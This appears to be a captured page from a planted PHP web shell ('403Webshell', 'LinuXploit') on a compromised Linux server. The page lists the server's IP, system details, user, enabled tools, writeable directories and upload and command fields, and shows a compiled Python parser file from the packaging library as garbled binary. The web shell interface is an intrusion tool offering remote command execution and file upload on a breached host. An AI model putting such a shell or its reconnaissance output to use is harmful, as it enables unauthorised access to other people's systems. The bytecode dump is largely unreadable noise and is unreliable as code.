403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/packaging/__pycache__/_parser.cpython-314.pyc
+
Z��i)���Rt^RIHt^RIt^RIHtHtHtHtH	t	H
t
^RIHtH
t
!RR4t!RR]4t!R	R
]4t!RR]4t]R3,t]
]]3,t]	]]]3,t]
]]R
,3,t]]
R]]3,,t!RR]4tRRltRRltRRltRRltRRltRRltRRltRR ltR!R"lt R#R$lt!R%R&lt"R'R(lt#R)R*lt$R+R,lt%R-R.lt&R/R0lt'R1R2lt(R#)4z�Handwritten parser of dependency specifiers.

The docstring for each __parse_* function contains EBNF-inspired grammar representing
the implementation.
)�annotationsN)�List�Literal�
NamedTuple�Sequence�Tuple�Union)�
DEFAULT_RULES�	Tokenizerc�J�]tRt^tR	tRRltRRltRRltRRltR	t	R
#)�Nodec� �V^8�dQhRRRR/#)��value�str�return�None�)�formats"�3/usr/lib/python3/dist-packages/packaging/_parser.py�__annotate__�Node.__annotate__s����c��d��c	��WnR#�N�r)�selfrs&&r�__init__�
Node.__init__s���
rc��V^8�dQhRR/#�rrrr)rs"rrrs�����rc	��VP#rr�rs&r�__str__�Node.__str__s���z�z�rc��V^8�dQhRR/#r r)rs"rrrs��>�>�#�>rc	�R�RVPPRVP:R2#)�<�(z)>)�	__class__�__name__rr"s&r�__repr__�
Node.__repr__s&���4�>�>�*�*�+�1�T�Z�Z�N�"�=�=rc��V^8�dQhRR/#r r)rs"rrrs��"�"�3�"rc	��\hr)�NotImplementedErrorr"s&r�	serialize�Node.serializes��!�!rrN)
r*�
__module__�__qualname__�__firstlineno__�	__slots__rr#r+r0�__static_attributes__rrrrrs ���I���>�"�"rrc�&�]tRt^tRtRRltRtR#)�Variablec��V^8�dQhRR/#r r)rs"rr�Variable.__annotate__"�����3�rc	��\V4#r�rr"s&rr0�Variable.serialize"����4�y�rrN�r*r2r3r4r5r0r6rrrr8r8����I��rr8c�&�]tRt^&tRtRRltRtR#)�Valuec��V^8�dQhRR/#r r)rs"rr�Value.__annotate__)s����3�rc	��RVR2#)�"rr"s&rr0�Value.serialize)s���4�&��{�rrNr@rrrrCrC&s���I��rrCc�&�]tRt^-tRtRRltRtR#)�Opc��V^8�dQhRR/#r r)rs"rr�Op.__annotate__0r;rc	��\V4#rr=r"s&rr0�Op.serialize0r?rrNr@rrrrJrJ-rArrJ�
MarkerAtom�
MarkerListc�J�]tRt^;t$R]R&R]R&R]R&R]R&R]R&R	tR
#)�ParsedRequirementr�name�url�	list[str]�extras�	specifierzMarkerList | None�markerrN)r*r2r3r4�__annotations__r6rrrrRrR;s��

�I�	�H����N��rrRc� �V^8�dQhRRRR/#)r�sourcerrrRr)rs"rrrFs��F�F�c�F�&7�Frc�6�\\V\R74#�)�rules)�_parse_requirementr
r	�r[s&r�parse_requirementraF����i��m�D�E�Erc� �V^8�dQhRRRR/#)r�	tokenizerr
rrRr)rs"rrrJs��C�C�)�C�0A�Crc��VPR4VPRRR7pVPpVPR4\V4pVPR4\	V4wrEpVPRRR7\W$W5V4#)zA
requirement = WS? IDENTIFIER WS? extras WS? requirement_details
�WS�
IDENTIFIERz1package name at the start of dependency specifier��expected�ENDzend of dependency specifier)�consume�expect�text�
_parse_extras�_parse_requirement_detailsrR)rd�
name_tokenrSrVrTrWrXs&      rr_r_Js������d���!�!��R�"��J��?�?�D�
���d��
�9�
%�F�
���d��7�	�B��C�F�
���U�%B��C��T��6�B�Brc� �V^8�dQhRRRR/#)rrdr
rz"tuple[str, str, MarkerList | None]r)rs"rrr_s��2$�2$��2$�'�2$rc�J�RpRpRpVPR4'd�VP4VPR4VPpVP	RRR7P
pVPRR	R
7'dW!V3#VP	RRR7VPRR	R
7'dW!V3#\
VVRR
7pM]VPp\V4pVPR4VPRR	R
7'dW!V3#\
TTV'dRMRR
7pW!V3#)zr
requirement_details = AT URL (WS requirement_marker?)?
                    | specifier WS? (requirement_marker)?
�N�ATrf�URLzURL after @rhrjT��peekzwhitespace after URLz$semicolon (after URL and whitespace))�
span_startrizEcomma (within version specifier), semicolon (after version specifier)z0semicolon (after name with no version specifier))�check�readrk�positionrlrm�_parse_requirement_marker�_parse_specifier)rdrWrTrX�	url_start�specifier_starts&     rroro_s3���I�
�C�
�F����t����������$���&�&�	����u�}��=�B�B���?�?�5�t�?�,�,��F�+�+�����(>��?��?�?�5�t�?�,�,��F�+�+�*�� �;�
��$�,�,��$�Y�/�	����$���?�?�5�t�?�,�,��F�+�+�*��&��X�G�

��
�F�#�#rc�(�V^8�dQhRRRRRRRR/#)	rrdr
rx�intrirrrPr)rs"rrr�s,������),��8;���rc��VPR4'gVPRVR2VRR7VP4\V4pVP	R4V#)z+
requirement_marker = SEMICOLON marker WS?
�	SEMICOLONz	Expected z or endN�rx�span_endrf)ry�raise_syntax_errorrz�
_parse_markerrk)rdrxrirXs&$$ rr|r|�sa���?�?�;�'�'��$�$���z��)�!��	%�	
�
�N�N��
�9�
%�F�
���d���Mrc� �V^8�dQhRRRR/#�rrdr
rrUr)rs"rrr�s����Y��9�rc��VPRRR7'g.#VPRRRR7;_uu_4VPR4\V4pVPR4RRR4V# +'giX#;i)	z?
extras = (LEFT_BRACKET wsp* extras_list? wsp* RIGHT_BRACKET)?
�LEFT_BRACKETTrv�
RIGHT_BRACKETrV��aroundrfN)ry�enclosing_tokensrk�_parse_extras_list)rdrVs& rrnrn�s����?�?�>��?�5�5��	�	�	#�	#����
$�
�
�
	���$��#�I�.�����$��
��M�
�
��M�s�.A0�0B	c� �V^8�dQhRRRR/#r�r)rs"rrr�s����)��	�rc���.pVPR4'gV#VPVP4P4VP	R4VPRRR7'dVPR4MVPR4'gV#VP4VP	R4VP
RRR7pVPVP4K�)	z6
extras_list = identifier (wsp* ',' wsp* identifier)*
rgTrfrvz"Expected comma between extra names�COMMAzextra name after commarh)ry�appendrzrmrkr�rl)rdrV�extra_tokens&  rr�r��s����F��?�?�<�(�(��
�
�M�M�)�.�.�"�'�'�(�
����$���?�?�<�d�?�3�3��(�(�)M�N�����)�)���M�
	�������$���&�&�|�>V�&�W���
�
�k�&�&�'rc� �V^8�dQhRRRR/#�rrdr
rrr)rs"rrr�s����	��c�rc���VPRRRR7;_uu_4VPR4\V4pVPR4RRR4V# +'giX#;i)zf
specifier = LEFT_PARENTHESIS WS? version_many WS? RIGHT_PARENTHESIS
          | WS? version_many WS?
�LEFT_PARENTHESIS�RIGHT_PARENTHESISzversion specifierr�rfN)r�rk�_parse_version_many)rd�parsed_specifierss& rr}r}�sn��

�	#�	#���"�
$�
�
�
	���$��/�	�:�����$��
���
�
���s�.A�A&	c� �V^8�dQhRRRR/#r�r)rs"rrr�s����9���rc�:�RpVPR4'EdVPpWP4P,
pVPRRR7'd&VP	RVVP^,R7VPRRR7'dVP	R	VVPR7VPR
4VPR4'gV#WP4P,
pVPR
4EKV#)z8
version_many = (SPECIFIER (WS? COMMA WS? SPECIFIER)*)?
rs�	SPECIFIER�VERSION_PREFIX_TRAILTrvz6.* suffix can only be used with `==` or `!=` operatorsr��VERSION_LOCAL_LABEL_TRAILz@Local version label can only be used with `==` or `!=` operatorsrfr�)ryr{rzrmr�rk)rdr�rxs&  rr�r��s����
�/�/�+�
&�
&��'�'�
��^�^�-�2�2�2���?�?�1��?�=�=��(�(�H�%�"�+�+�a�/�
)�
�
�?�?�6�T�?�B�B��(�(�R�%�"�+�+�
)�
�
	���$�����w�'�'����	�^�^�-�2�2�2�����$���rc� �V^8�dQhRRRR/#)rr[rrrPr)rs"rrrs��F�F��F��Frc�6�\\V\R74#r])�_parse_full_markerr
r	r`s&r�parse_markerr�rbrc� �V^8�dQhRRRR/#�rrdr
rrPr)rs"rrrs����)��
�rc�B�\V4pVPRRR7V#)rjzend of marker expressionrh)r�rl)rd�retvals& rr�r�s%��
�9�
%�F�
���U�%?��@��Mrc� �V^8�dQhRRRR/#r�r)rs"rrrs��	�	�Y�	�:�	rc��\V4.pVPR4'd;VP4p\V4pVPVPV34KQV#)z,
marker = marker_atom (BOOLOP marker_atom)+
�BOOLOP)�_parse_marker_atomryrz�extendrm)rd�
expression�token�
expr_rights&   rr�r�sS��%�Y�/�0�J�
�/�/�(�
#�
#���� ��'�	�2�
����5�:�:�z�2�3��rc� �V^8�dQhRRRR/#)rrdr
rrOr)rs"rrrs����)��
�rc�^�VPR4VPRRR7'dTVPRRRR7;_uu_4VPR4\V4pVPR4RRR4M\	V4pVPR4X# +'giL#;i)	zk
marker_atom = WS? LEFT_PARENTHESIS WS? marker WS? RIGHT_PARENTHESIS WS?
            | WS? marker_item WS?
rfr�Trvr�zmarker expressionr�N)rkryr�r��_parse_marker_item)rdrXs& rr�r�s������d�����)���5�5�
�
'�
'���&�(�
�
�

���d�#�!.�y�!9�F����d�#�
�
�$�I�.��
���d���M�
�
�s�.B�B,	c� �V^8�dQhRRRR/#)rrdr
r�
MarkerItemr)rs"rrr4s��:�:�)�:�
�:rc���VPR4\V4pVPR4\V4pVPR4\V4pVPR4WV3#)z?
marker_item = WS? marker_var WS? marker_op WS? marker_var WS?
rf)rk�_parse_marker_var�_parse_marker_op)rd�marker_var_left�	marker_op�marker_var_rights&   rr�r�4sg�����d��'�	�2�O�
���d�� ��+�I�
���d��(��3��
���d���(8�9�9rc� �V^8�dQhRRRR/#)rrdr
r�	MarkerVarr)rs"rrrBs��
�
��
�y�
rc�2�VPR4'd4\VP4PP	RR44#VPR4'd$\VP4P4#VP
RR7R#)z'
marker_var = VARIABLE | QUOTED_STRING
�VARIABLE�.�_�
QUOTED_STRINGz+Expected a marker variable or quoted string)�messageN)ry�process_env_varrzrm�replace�process_python_strr��rds&rr�r�Bsu�����z�"�"��y�~�~�/�4�4�<�<�S�#�F�G�G�	����	)�	)�!�)�.�.�"2�"7�"7�8�8��$�$�A�	%�	
rc� �V^8�dQhRRRR/#)r�env_varrrr8r)rs"rrrPs��!�!�S�!�X�!rc�<�VR9d\R4#\V4#)�platform_python_implementation)r��python_implementation)r8)r�s&rr�r�Ps"���M�M��8�9�9��� � rc� �V^8�dQhRRRR/#)r�
python_strrrrCr)rs"rrrWs����3��5�rc�V�\P!V4p\\V44#r)�ast�literal_evalrCr)r�rs& rr�r�Ws!�����Z�(�E���U���rc� �V^8�dQhRRRR/#)rrdr
rrJr)rs"rrr\s��
�
�	�
�b�
rc��VPR4'dVP4\R4#VPR4'dBVP4VPRRR7VPRRR7\R4#VPR	4'd$\VP4P4#VPR
4#)z
marker_op = IN | NOT IN | OP
�IN�in�NOTrfzwhitespace after 'not'rhz'in' after 'not'znot in�OPzJExpected marker operator, one of <=, <, !=, ==, >=, >, ~=, ===, in, not in)ryrzrJrlrmr�r�s&rr�r�\s������t��������$�x��	����	�	���������(@��A�����(:��;��(�|��	����	�	��)�.�.�"�'�'�(�(��+�+�X�
�	
r)�and�or))�__doc__�
__future__rr��typingrrrrrr�
_tokenizerr	r
rr8rCrJ�
MarkerLogicalr�r�rOrPrRrar_ror|rnr�r}r�r�r�r�r�r�r�r�r�r�rrr�<module>r�s���#�
�D�D�0�
"�
"� �t���D�������$�
��(�E�/�"�	�
�9�b�)�+�
,�
�
�:�x��5�5�
6�
�
�%��j�-�?�@�
A�
��
��F�C�*2$�j�*�&�6�"�@F��	��,:�
�!��

r

Youez - 2016 - github.com/yon3zu
LinuXploit